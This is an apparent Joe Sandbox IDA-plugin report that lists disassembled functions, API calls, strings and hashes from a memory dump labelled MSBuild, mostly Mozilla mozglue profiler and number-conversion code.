Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 332106897daa2d37af74cd8e0a353a40c1e7eef74ac0649db75ee520ffd2d4c1
Instruction ID: d83774435f73b003635b25ee48964162ad583c602c1d37d1fffa0bb185dfd172
Opcode Fuzzy Hash: 332106897daa2d37af74cd8e0a353a40c1e7eef74ac0649db75ee520ffd2d4c1
Instruction Fuzzy Hash: 8D91BF717087408FC724DF24CC94A9EB7E1AFC9358F10491DE99A8B791EB30D94ACB92

Function 6C519E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C519F3D
__aulldiv.LIBCMT ref: 6C519F77
__aullrem.LIBCMT ref: 6C519F8C
__aulldiv.LIBCMT ref: 6C51A023

Strings

-Infinity, xrefs: 6C519E60, 6C519E7B
NaN, xrefs: 6C519EAB

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: fb02af78c8c91c516938b2f89d298650323917b0570e7e52b14bef4417ef8bd7
Instruction ID: a852e5bba2a302c07bf36fb6ee3b70d53e530eaaddd9cb662ba8d78182597e80
Opcode Fuzzy Hash: fb02af78c8c91c516938b2f89d298650323917b0570e7e52b14bef4417ef8bd7
Instruction Fuzzy Hash: 46C1AD31A083188FEB15CFA8CC94B9EB7B6AB84314F14452DD406ABB80DB71AD49CBD1

Function 6C52545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C528A4B

Strings

~qKl, xrefs: 6C529269, 6C529459, 6C52921F, 6C5256C7, 6C525740, 6C525703, 6C52948F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qKl
API String ID: 2221118986-2820583785
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 47e6a97fc8232bfa668eab5bd2f342eb418c93a3cc284a007e918594a1b3f722
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 85B1D872E0021ACFDB14CF68CC90B99B7F2EF95314F1802A9C549DB795E734A985CB91

Function 6C52542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5288F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C52925C

Strings

~qKl, xrefs: 6C529269, 6C529459, 6C52921F, 6C5256C7, 6C525740, 6C525703, 6C52948F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qKl
API String ID: 2221118986-2820583785
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a20620ed763887c96b85f316ca3b5b9d58e2324f026c42d2921ac762ac63db51
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 25B1B572E0120ACBDB14CF58CC816EDB7F2EF95314F190269C949EB785E734A989CB91

Function 6C5250C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C528E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C52925C

Strings

~qKl, xrefs: 6C529269, 6C529459, 6C52921F, 6C5256C7, 6C525740, 6C525703, 6C52948F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qKl
API String ID: 2221118986-2820583785
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: bb220cc6d71293d7f01dcc7ab016f8fb0ce3c74e0dc692116b3d83616d5f14ae
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 3FA1D672E00216CFDB14CE68CC80799B7F2AF95314F1902B9C949EB785D734A999CB90

Function 6C51B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4C9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C51B92D), ref: 6C4C9BC8
Part of subcall function 6C4C9B80: __Init_thread_footer.LIBCMT ref: 6C4C9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C4C03D4,?), ref: 6C51B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6C51B9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6C51BA20
RtlNtStatusToDosError.NTDLL ref: 6C51BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C51BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C51BA86

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: 8f39a960a578a2ddbbfdadf343125bddbd45434278108dcee235356952705735
Instruction ID: c083d6a9ca2612a08fff9f144734ae0e66bbbdeeb63691126771d64f9eb0f92c
Opcode Fuzzy Hash: 8f39a960a578a2ddbbfdadf343125bddbd45434278108dcee235356952705735
Instruction Fuzzy Hash: 8F517BB1E05219DFEF14EEA8CC84ADEB7B6EB88314F144129E901B7B40DB30AD45CB90

Function 6C5077A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C507A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C507A93

Part of subcall function 6C4D5C50: GetTickCount64.KERNEL32 ref: 6C4D5D40
Part of subcall function 6C4D5C50: EnterCriticalSection.KERNEL32(6C53F688), ref: 6C4D5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C507AA1

Part of subcall function 6C4D5C50: __aulldiv.LIBCMT ref: 6C4D5DB4
Part of subcall function 6C4D5C50: LeaveCriticalSection.KERNEL32(6C53F688), ref: 6C4D5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C507B31

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: c064f10f1ef85f08469b012c67738f62d788d896a8f149c2fe6cfe052fc1464e
Instruction ID: 571860d0695b7f82e831119b8b16190e072cfacef1c9618589536a1e602bbf12
Opcode Fuzzy Hash: c064f10f1ef85f08469b012c67738f62d788d896a8f149c2fe6cfe052fc1464e
Instruction Fuzzy Hash: 59B15B357087818BCB14CF24C850A5FB7E2BFC9358F154A1DE995A7B91DB70E90ACB82

Function 6C51B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C4EFE3F), ref: 6C51B720
RtlNtStatusToDosError.NTDLL ref: 6C51B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C4EFE3F), ref: 6C51B760

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 990a9849230ca917d5d4bbca4cd7df89680fda618f0a527f9eee10b9d5f32212
Instruction ID: d91494ac3826c6fe50528163bb1e95b61db6729c5116c58a45df0fe168d43fc9
Opcode Fuzzy Hash: 990a9849230ca917d5d4bbca4cd7df89680fda618f0a527f9eee10b9d5f32212
Instruction Fuzzy Hash: DDF0A4B094420DAEFF01AAA1CC89BDEB7BC9B44319F105129D51165AC0D778A988C6A1

Function 6C51B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C4C03D4,?), ref: 6C51B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6C51B9A5

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 486d1da66cdbb03b0b2c0e5c2b5bf0409b7ebc85199a07ebe42fe649c762c04f
Instruction ID: 611633a18cc146ea0def6a743f90e5288d1002fda4f5c3a70c6b20678ab18f95
Opcode Fuzzy Hash: 486d1da66cdbb03b0b2c0e5c2b5bf0409b7ebc85199a07ebe42fe649c762c04f
Instruction Fuzzy Hash: 6F41B371E042199FDF04DFA9DC85ADEBBF6EF88314F158129E505A7B44EB30AC458B90

Function 6C5155F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C4EE1A5), ref: 6C515606
LoadLibraryW.KERNEL32(gdi32,?,6C4EE1A5), ref: 6C51560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C515633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C51563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C51566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C51567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C515696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5156B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5156CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5156E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5156FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C515716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C51572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C515748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C515761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C51577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C515793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5157A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5157BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5157D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5157EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5157FF

Strings

GetSystemMetricsForDpi, xrefs: 6C515677
ShowWindow, xrefs: 6C5156DE
MonitorFromWindow, xrefs: 6C51578D
CreateWindowExW, xrefs: 6C5156C5
gdi32, xrefs: 6C51560A
GetDpiForWindow, xrefs: 6C515690
EnableNonClientDpiScaling, xrefs: 6C515666
StretchDIBits, xrefs: 6C5157CC
SetWindowPos, xrefs: 6C5156F7
CreateSolidBrush, xrefs: 6C5157E4
AreDpiAwarenessContextsEqual, xrefs: 6C515637
DeleteObject, xrefs: 6C5157F9
GetThreadDpiAwarenessContext, xrefs: 6C51562D
user32, xrefs: 6C515601
RegisterClassW, xrefs: 6C5156AC
LoadCursorW, xrefs: 6C515774
FillRect, xrefs: 6C515729
SetWindowLongPtrW, xrefs: 6C5157B7
GetWindowDC, xrefs: 6C515710
GetMonitorInfoW, xrefs: 6C5157A2
LoadIconW, xrefs: 6C51575B
ReleaseDC, xrefs: 6C515742

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: bd464cc19dcb462e11edd1baf790ebac428a35e7676e76c3d8620c6347be23fc
Instruction ID: 8c18dd6f9cc59c55773a610d6726971cdcc3d18ce6e85bbb78976f505f77b74a
Opcode Fuzzy Hash: bd464cc19dcb462e11edd1baf790ebac428a35e7676e76c3d8620c6347be23fc
Instruction Fuzzy Hash: 3B517371705712AFEB11BF398D48A263AF8AB462457625525E819E2F82FB74C800CF78

Function 6C4FCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4C582D), ref: 6C4FCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4C582D), ref: 6C4FCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C52FE98,?,?,?,?,?,6C4C582D), ref: 6C4FCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4C582D), ref: 6C4FCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4C582D), ref: 6C4FCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4C582D), ref: 6C4FCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C582D), ref: 6C4FCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C4FCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C4FCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C4FCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C4FCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C4FCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C4FCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C4FCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C4FCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C4FCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C4FCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C4FCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C4FCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C4FCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C4FCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C4FCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C4FCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C4FCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C4FCE8A

Strings

notimerresolutionchange, xrefs: 6C4FCE00
samplingallthreads, xrefs: 6C4FCE2C
java, xrefs: 6C4FCC37
ipcmessages, xrefs: 6C4FCDBE
power, xrefs: 6C4FCE84
nativeallocations, xrefs: 6C4FCDA8
unregisteredthreads, xrefs: 6C4FCE58
leaf, xrefs: 6C4FCC66
mainthreadio, xrefs: 6C4FCC7C
processcpu, xrefs: 6C4FCE6E
nostacksampling, xrefs: 6C4FCD7C
fileio, xrefs: 6C4FCC92
seqstyle, xrefs: 6C4FCCE6
default, xrefs: 6C4FCC21
Unrecognized feature "%s"., xrefs: 6C4FCEA0
noiostacks, xrefs: 6C4FCCBE
audiocallbacktracing, xrefs: 6C4FCDD4
markersallthreads, xrefs: 6C4FCE42
preferencereads, xrefs: 6C4FCD92
jsallocations, xrefs: 6C4FCD0E
screenshots, xrefs: 6C4FCCD4
stackwalk, xrefs: 6C4FCCF8
fileioall, xrefs: 6C4FCCA8
cpuallthreads, xrefs: 6C4FCE16

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 12d28f16ee7a2eb760d2bcc1d1c61d303bfb8cbf67b15a303809e5ba81f62722
Instruction ID: 4ba1ec250717748219179e614a6af52b1537520e9d10154b5a78e712adea2222
Opcode Fuzzy Hash: 12d28f16ee7a2eb760d2bcc1d1c61d303bfb8cbf67b15a303809e5ba81f62722
Instruction Fuzzy Hash: F15189E194523552FB29B1196D10FEE1485EFE224BF10443ADD29A1FC1FB09E60B86F7

Function 6C4C47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4C4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4C4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4C482D
__Init_thread_footer.LIBCMT ref: 6C4C484A

Part of subcall function 6C4EAB3F: EnterCriticalSection.KERNEL32(6C53E370,?,?,6C4B3527,6C53F6CC,?,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB49
Part of subcall function 6C4EAB3F: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B3527,6C53F6CC,?,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EAB7C

GetCurrentThreadId.KERNEL32 ref: 6C4C485F
GetCurrentThreadId.KERNEL32 ref: 6C4C487E
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4C488B
free.MOZGLUE(?), ref: 6C4C493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4C4956
free.MOZGLUE(00000000), ref: 6C4C4960
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4C499A

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

free.MOZGLUE(?), ref: 6C4C49C6
free.MOZGLUE(?), ref: 6C4C49E9

Part of subcall function 6C4D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4D5EDB
Part of subcall function 6C4D5E90: memset.VCRUNTIME140(ewQl,000000E5,?), ref: 6C4D5F27
Part of subcall function 6C4D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4D5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4C4812
[I %d/%d] profiler_shutdown, xrefs: 6C4C4A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4C4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4C4A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4C47FC

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 11e27f88fc0c164d20f833ee6a79a1950d2e3d00627666e0385f7f4b9cc94919
Instruction ID: b933a09e54a3bc93f37917ef5c4005769334cf7fda0c2d5edaade43de9ebfb90
Opcode Fuzzy Hash: 11e27f88fc0c164d20f833ee6a79a1950d2e3d00627666e0385f7f4b9cc94919
Instruction Fuzzy Hash: 61811679B001108FDB20EF28CE84F6A3771AF42359F151229D91A97B61F731E855CB9B

Function 6C4C4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4C4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4C44B2,6C53E21C,6C53F7F8), ref: 6C4C473E
Part of subcall function 6C4C4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4C474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4C44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4C44D2
InitOnceExecuteOnce.KERNEL32(6C53F80C,6C4BF240,?,?), ref: 6C4C451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4C455C
LoadLibraryW.KERNEL32(?), ref: 6C4C4592
